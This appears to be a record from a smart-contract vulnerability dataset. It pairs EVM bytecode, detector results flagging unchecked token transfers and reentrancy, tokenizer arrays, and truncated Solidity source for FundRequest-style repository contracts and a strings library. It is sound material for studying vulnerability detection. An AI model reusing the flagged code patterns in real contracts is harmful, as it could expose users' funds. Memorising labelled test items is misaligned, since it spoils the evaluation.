0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a723058202470a896d6e28a0baf8156b64216f944a6253b66513d25f6b951388be15349d90029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 19317, 23833, 22932, 8586, 2497, 2683, 2575, 21619, 2575, 2278, 2683, 2063, 22610, 2549, 9818, 2497, 2581, 2575, 2581, 7011, 2497, 23352, 2094, 24096, 2692, 2050, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,668
0x9582627919d8c0643af2f81a9cb2193a4cb993d4
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() constant public returns (uint); function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Transfer(address indexed _from, address indexed _to, uint256 _value); } /// @dev `Owned` is a base level contract that assigns an `owner` that can be /// later changed contract Owned { /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner { require(msg.sender == owner); _; } address public owner; /// @notice The Constructor assigns the message sender to be `owner` function Owned() public {owner = msg.sender;} /// @notice `owner` can step down and assign some other address to this role /// @param _newOwner The address of the new owner. 0x0 can be used to create /// an unowned neutral vault, however that cannot be undone function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } } contract Callable is Owned { //sender => _allowed mapping(address => bool) public callers; //modifiers modifier onlyCaller { require(callers[msg.sender]); _; } //management of the repositories function updateCaller(address _caller, bool allowed) public onlyOwner { callers[_caller] = allowed; } } contract EternalStorage is Callable { mapping(bytes32 => uint) uIntStorage; mapping(bytes32 => string) stringStorage; mapping(bytes32 => address) addressStorage; mapping(bytes32 => bytes) bytesStorage; mapping(bytes32 => bool) boolStorage; mapping(bytes32 => int) intStorage; // *** Getter Methods *** function getUint(bytes32 _key) external view returns (uint) { return uIntStorage[_key]; } function getString(bytes32 _key) external view returns (string) { return stringStorage[_key]; } function getAddress(bytes32 _key) external view returns (address) { return addressStorage[_key]; } function getBytes(bytes32 _key) external view returns (bytes) { return bytesStorage[_key]; } function getBool(bytes32 _key) external view returns (bool) { return boolStorage[_key]; } function getInt(bytes32 _key) external view returns (int) { return intStorage[_key]; } // *** Setter Methods *** function setUint(bytes32 _key, uint _value) onlyCaller external { uIntStorage[_key] = _value; } function setString(bytes32 _key, string _value) onlyCaller external { stringStorage[_key] = _value; } function setAddress(bytes32 _key, address _value) onlyCaller external { addressStorage[_key] = _value; } function setBytes(bytes32 _key, bytes _value) onlyCaller external { bytesStorage[_key] = _value; } function setBool(bytes32 _key, bool _value) onlyCaller external { boolStorage[_key] = _value; } function setInt(bytes32 _key, int _value) onlyCaller external { intStorage[_key] = _value; } // *** Delete Methods *** function deleteUint(bytes32 _key) onlyCaller external { delete uIntStorage[_key]; } function deleteString(bytes32 _key) onlyCaller external { delete stringStorage[_key]; } function deleteAddress(bytes32 _key) onlyCaller external { delete addressStorage[_key]; } function deleteBytes(bytes32 _key) onlyCaller external { delete bytesStorage[_key]; } function deleteBool(bytes32 _key) onlyCaller external { delete boolStorage[_key]; } function deleteInt(bytes32 _key) onlyCaller external { delete intStorage[_key]; } } /* * Database Contract * Davy Van Roy * Quinten De Swaef */ contract FundRepository is Callable { using SafeMath for uint256; EternalStorage public db; //platform -> platformId => _funding mapping(bytes32 => mapping(string => Funding)) funds; struct Funding { address[] funders; //funders that funded tokens address[] tokens; //tokens that were funded mapping(address => TokenFunding) tokenFunding; } struct TokenFunding { mapping(address => uint256) balance; uint256 totalTokenBalance; } constructor(address _eternalStorage) public { db = EternalStorage(_eternalStorage); } function updateFunders(address _from, bytes32 _platform, string _platformId) public onlyCaller { bool existing = db.getBool(keccak256(abi.encodePacked("funds.userHasFunded", _platform, _platformId, _from))); if (!existing) { uint funderCount = getFunderCount(_platform, _platformId); db.setAddress(keccak256(abi.encodePacked("funds.funders.address", _platform, _platformId, funderCount)), _from); db.setUint(keccak256(abi.encodePacked("funds.funderCount", _platform, _platformId)), funderCount.add(1)); } } function updateBalances(address _from, bytes32 _platform, string _platformId, address _token, uint256 _value) public onlyCaller { if (db.getBool(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, _token))) == false) { db.setBool(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, _token)), true); //add to the list of tokens for this platformId uint tokenCount = getFundedTokenCount(_platform, _platformId); db.setAddress(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, tokenCount)), _token); db.setUint(keccak256(abi.encodePacked("funds.tokenCount", _platform, _platformId)), tokenCount.add(1)); } //add to the balance of this platformId for this token db.setUint(keccak256(abi.encodePacked("funds.tokenBalance", _platform, _platformId, _token)), balance(_platform, _platformId, _token).add(_value)); //add to the balance the user has funded for the request db.setUint(keccak256(abi.encodePacked("funds.amountFundedByUser", _platform, _platformId, _from, _token)), amountFunded(_platform, _platformId, _from, _token).add(_value)); //add the fact that the user has now funded this platformId db.setBool(keccak256(abi.encodePacked("funds.userHasFunded", _platform, _platformId, _from)), true); } function claimToken(bytes32 platform, string platformId, address _token) public onlyCaller returns (uint256) { require(!issueResolved(platform, platformId), "Can't claim token, issue is already resolved."); uint256 totalTokenBalance = balance(platform, platformId, _token); db.deleteUint(keccak256(abi.encodePacked("funds.tokenBalance", platform, platformId, _token))); return totalTokenBalance; } function refundToken(bytes32 _platform, string _platformId, address _owner, address _token) public onlyCaller returns (uint256) { require(!issueResolved(_platform, _platformId), "Can't refund token, issue is already resolved."); //delete amount from user, so he can't refund again uint256 userTokenBalance = amountFunded(_platform, _platformId, _owner, _token); db.deleteUint(keccak256(abi.encodePacked("funds.amountFundedByUser", _platform, _platformId, _owner, _token))); uint256 oldBalance = balance(_platform, _platformId, _token); uint256 newBalance = oldBalance.sub(userTokenBalance); require(newBalance <= oldBalance); //subtract amount from tokenBalance db.setUint(keccak256(abi.encodePacked("funds.tokenBalance", _platform, _platformId, _token)), newBalance); return userTokenBalance; } function finishResolveFund(bytes32 platform, string platformId) public onlyCaller returns (bool) { db.setBool(keccak256(abi.encodePacked("funds.issueResolved", platform, platformId)), true); db.deleteUint(keccak256(abi.encodePacked("funds.funderCount", platform, platformId))); return true; } //constants function getFundInfo(bytes32 _platform, string _platformId, address _funder, address _token) public view returns (uint256, uint256, uint256) { return ( getFunderCount(_platform, _platformId), balance(_platform, _platformId, _token), amountFunded(_platform, _platformId, _funder, _token) ); } function issueResolved(bytes32 _platform, string _platformId) public view returns (bool) { return db.getBool(keccak256(abi.encodePacked("funds.issueResolved", _platform, _platformId))); } function getFundedTokenCount(bytes32 _platform, string _platformId) public view returns (uint256) { return db.getUint(keccak256(abi.encodePacked("funds.tokenCount", _platform, _platformId))); } function getFundedTokensByIndex(bytes32 _platform, string _platformId, uint _index) public view returns (address) { return db.getAddress(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, _index))); } function getFunderCount(bytes32 _platform, string _platformId) public view returns (uint) { return db.getUint(keccak256(abi.encodePacked("funds.funderCount", _platform, _platformId))); } function getFunderByIndex(bytes32 _platform, string _platformId, uint index) external view returns (address) { return db.getAddress(keccak256(abi.encodePacked("funds.funders.address", _platform, _platformId, index))); } function amountFunded(bytes32 _platform, string _platformId, address _funder, address _token) public view returns (uint256) { return db.getUint(keccak256(abi.encodePacked("funds.amountFundedByUser", _platform, _platformId, _funder, _token))); } function balance(bytes32 _platform, string _platformId, address _token) view public returns (uint256) { return db.getUint(keccak256(abi.encodePacked("funds.tokenBalance", _platform, _platformId, _token))); } } contract ClaimRepository is Callable { using SafeMath for uint256; EternalStorage public db; constructor(address _eternalStorage) public { //constructor require(_eternalStorage != address(0), "Eternal storage cannot be 0x0"); db = EternalStorage(_eternalStorage); } function addClaim(address _solverAddress, bytes32 _platform, string _platformId, string _solver, address _token, uint256 _requestBalance) public onlyCaller returns (bool) { if (db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))) != address(0)) { require(db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))) == _solverAddress, "Adding a claim needs to happen with the same claimer as before"); } else { db.setString(keccak256(abi.encodePacked("claims.solver", _platform, _platformId)), _solver); db.setAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId)), _solverAddress); } uint tokenCount = db.getUint(keccak256(abi.encodePacked("claims.tokenCount", _platform, _platformId))); db.setUint(keccak256(abi.encodePacked("claims.tokenCount", _platform, _platformId)), tokenCount.add(1)); db.setUint(keccak256(abi.encodePacked("claims.token.amount", _platform, _platformId, _token)), _requestBalance); db.setAddress(keccak256(abi.encodePacked("claims.token.address", _platform, _platformId, tokenCount)), _token); return true; } function isClaimed(bytes32 _platform, string _platformId) view external returns (bool claimed) { return db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))) != address(0); } function getSolverAddress(bytes32 _platform, string _platformId) view external returns (address solverAddress) { return db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))); } function getSolver(bytes32 _platform, string _platformId) view external returns (string){ return db.getString(keccak256(abi.encodePacked("claims.solver", _platform, _platformId))); } function getTokenCount(bytes32 _platform, string _platformId) view external returns (uint count) { return db.getUint(keccak256(abi.encodePacked("claims.tokenCount", _platform, _platformId))); } function getTokenByIndex(bytes32 _platform, string _platformId, uint _index) view external returns (address token) { return db.getAddress(keccak256(abi.encodePacked("claims.token.address", _platform, _platformId, _index))); } function getAmountByToken(bytes32 _platform, string _platformId, address _token) view external returns (uint token) { return db.getUint(keccak256(abi.encodePacked("claims.token.amount", _platform, _platformId, _token))); } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <arachnid@notdot.net> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal pure returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal pure returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal pure returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal pure returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal pure returns (string) { string memory ret = new string(self._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal pure returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly {b := and(mload(ptr), 0xFF)} if (b < 0x80) { ptr += 1; } else if (b < 0xE0) { ptr += 2; } else if (b < 0xF0) { ptr += 3; } else if (b < 0xF8) { ptr += 4; } else if (b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal pure returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint256 mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal pure returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal pure returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly {b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)} if (b < 0x80) { l = 1; } else if (b < 0xE0) { l = 2; } else if (b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal pure returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly {word := mload(mload(add(self, 32)))} uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if (b < 0xE0) { ret = b & 0x1F; length = 2; } else if (b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, length), sha3(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } uint selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } uint selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } event log_bytemask(bytes32 mask); // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly {needledata := and(mload(needleptr), mask)} uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly {ptrdata := and(mload(ptr), mask)} while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly {ptrdata := and(mload(ptr), mask)} } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly {hash := sha3(needleptr, needlelen)} for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly {testHash := sha3(ptr, needlelen)} if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly {needledata := and(mload(needleptr), mask)} ptr = selfptr + selflen - needlelen; bytes32 ptrdata; assembly {ptrdata := and(mload(ptr), mask)} while (ptrdata != needledata) { if (ptr <= selfptr) return selfptr; ptr--; assembly {ptrdata := and(mload(ptr), mask)} } return ptr + needlelen; } else { // For long needles, use hashing bytes32 hash; assembly {hash := sha3(needleptr, needlelen)} ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly {testHash := sha3(ptr, needlelen)} if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal pure returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal pure returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal pure returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal pure returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal pure returns (string) { string memory ret = new string(self._len + other._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal pure returns (string) { if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for (uint i = 0; i < parts.length; i++) length += parts[i]._len; string memory ret = new string(length); uint retptr; assembly {retptr := add(ret, 32)} for (i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } /* * Additions by the FundRequest Team */ function toBytes32(slice self) internal pure returns (bytes32 result) { string memory source = toString(self); bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 